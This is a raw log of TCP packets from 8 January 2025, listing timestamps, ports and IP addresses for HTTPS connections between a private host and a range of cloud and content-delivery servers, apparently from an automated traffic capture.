Jan 8, 2025 16:18:51.052815914 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.053874016 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.053884983 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.054044008 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.054179907 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.054184914 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.070209026 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.077524900 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.077536106 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.082262039 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.093436956 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.093446970 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.101119041 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.101133108 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.101265907 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.101442099 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.101450920 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.124335051 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.124510050 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.124541998 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.124664068 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.124922037 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.124931097 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.139275074 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.166713953 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.166733027 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.166903019 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.167108059 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.167118073 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.259674072 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.259821892 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.259932995 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.259946108 CET	443	58075	23.220.206.35	192.168.11.20
Jan 8, 2025 16:18:51.260032892 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.260082006 CET	58075	443	192.168.11.20	23.220.206.35
Jan 8, 2025 16:18:51.287884951 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.287908077 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.288161039 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.288352013 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.288358927 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.297593117 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.297875881 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.297883987 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.298621893 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.298780918 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.299897909 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.299983025 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.299984932 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.340723991 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.340739012 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.346225023 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.346546888 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.346556902 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.347235918 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.347460985 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.348505020 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.348576069 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.348583937 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.348592043 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.385592937 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.391846895 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.392225027 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.392236948 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.392564058 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.393095016 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.393183947 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.393223047 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.400625944 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.400640011 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.410550117 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.410868883 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.410875082 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.411582947 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.411798000 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.413024902 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.413104057 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.413110018 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.413117886 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.413431883 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.413716078 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.413724899 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.414501905 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.414673090 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.415798903 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.415873051 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.415887117 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.417661905 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.418030977 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.418037891 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.418790102 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.418975115 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.434206009 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.447519064 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.447546959 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.458209038 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.462383986 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.462390900 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.462433100 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.462438107 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.463705063 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.463792086 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.463799000 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.468396902 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.468405008 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.482036114 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.482084036 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.482168913 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.482335091 CET	57694	443	192.168.11.20	52.178.17.233
Jan 8, 2025 16:18:51.482343912 CET	443	57694	52.178.17.233	192.168.11.20
Jan 8, 2025 16:18:51.506206989 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.508316040 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.508409023 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.508414030 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.511137009 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.532670021 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.533037901 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.533042908 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.533742905 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.533860922 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.533955097 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.534008026 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.534193039 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.534498930 CET	57810	443	192.168.11.20	151.101.193.44
Jan 8, 2025 16:18:51.534506083 CET	443	57810	151.101.193.44	192.168.11.20
Jan 8, 2025 16:18:51.535339117 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.535384893 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.535497904 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.552548885 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.553174019 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.553183079 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.553884029 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.554075003 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.555145025 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.555253029 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.555340052 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.555360079 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.578207970 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.587055922 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.587063074 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.590799093 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.590929985 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.591095924 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.591411114 CET	65171	443	192.168.11.20	50.31.142.31
Jan 8, 2025 16:18:51.591423988 CET	443	65171	50.31.142.31	192.168.11.20
Jan 8, 2025 16:18:51.598208904 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.603024960 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.603033066 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.604907036 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.604931116 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.605644941 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.605731964 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.605737925 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.635042906 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.651124954 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.651160002 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.651278019 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.651595116 CET	54139	443	192.168.11.20	13.107.42.14
Jan 8, 2025 16:18:51.651604891 CET	443	54139	13.107.42.14	192.168.11.20
Jan 8, 2025 16:18:51.652944088 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.656838894 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:51.656857967 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:51.657080889 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:51.657258987 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:51.657265902 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:51.669148922 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.669187069 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.669399977 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.669662952 CET	54833	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.669670105 CET	443	54833	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.670298100 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.670317888 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.670449018 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.670589924 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.670598984 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.675982952 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.676032066 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.676414967 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.676839113 CET	61434	443	192.168.11.20	20.125.209.212
Jan 8, 2025 16:18:51.676847935 CET	443	61434	20.125.209.212	192.168.11.20
Jan 8, 2025 16:18:51.684638023 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.685247898 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.685719967 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.685857058 CET	55045	443	192.168.11.20	23.62.140.29
Jan 8, 2025 16:18:51.685867071 CET	443	55045	23.62.140.29	192.168.11.20
Jan 8, 2025 16:18:51.699733973 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.699801922 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.699954987 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.700364113 CET	58923	443	192.168.11.20	34.235.241.123
Jan 8, 2025 16:18:51.700372934 CET	443	58923	34.235.241.123	192.168.11.20
Jan 8, 2025 16:18:51.701118946 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.701136112 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.701239109 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.701450109 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.701456070 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.714488029 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.714503050 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.714657068 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.714806080 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.714812994 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.770689964 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:51.770710945 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:51.770915985 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:51.771045923 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:51.771053076 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:51.773653030 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:51.773667097 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:51.773819923 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:51.773919106 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:51.773926020 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:51.774633884 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:51.774646044 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:51.774848938 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:51.774934053 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:51.774938107 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:51.799098015 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:51.799118042 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:51.799222946 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:51.799380064 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:51.799390078 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:51.807574987 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:51.807595015 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:51.807801962 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:51.807939053 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:51.807948112 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:51.844367981 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.844491005 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.844614983 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.844887972 CET	58820	443	192.168.11.20	104.19.131.76
Jan 8, 2025 16:18:51.844894886 CET	443	58820	104.19.131.76	192.168.11.20
Jan 8, 2025 16:18:51.845545053 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.845561981 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.845726967 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.845810890 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.845817089 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.872070074 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.873080015 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.873086929 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.873852968 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.874082088 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.875272989 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.875356913 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.875376940 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.918205023 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.925190926 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.925199986 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:51.931011915 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.931035042 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:51.931149006 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931166887 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:51.931216955 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.931298971 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931298971 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931313992 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:51.931438923 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.931438923 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931447983 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:51.931536913 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931544065 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:51.931588888 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:51.931592941 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:51.931900978 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.931915045 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:51.932018995 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.932147026 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:51.932153940 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:51.936707973 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.936722994 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.936805964 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.936815023 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.936887026 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.936968088 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.937082052 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.937088966 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.937163115 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:51.937167883 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:51.972079039 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:51.995938063 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.996228933 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.996236086 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.996936083 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.997138977 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.998132944 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:51.998189926 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:51.998270035 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:52.032939911 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.033256054 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.033267975 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.034056902 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.034255981 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.034563065 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.034647942 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.034770966 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.034787893 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.034822941 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.034822941 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.034833908 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.042212963 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:52.049858093 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:52.049865961 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:52.058403015 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.058904886 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.058913946 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.059602976 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.059798002 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.061202049 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.061250925 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.061266899 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.063405991 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.063677073 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.063687086 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.064395905 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.064625025 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.064814091 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.064908981 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.064932108 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.080735922 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.080749035 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.096700907 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:52.100869894 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.101150990 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.101160049 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.101882935 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.102081060 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.102209091 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.103241920 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.103332043 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.103391886 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.106208086 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.111723900 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.111723900 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.111735106 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.111741066 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.126610994 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.146212101 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.152564049 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.152604103 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.152720928 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.156536102 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.156584978 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.156584978 CET	54850	443	192.168.11.20	20.33.55.12
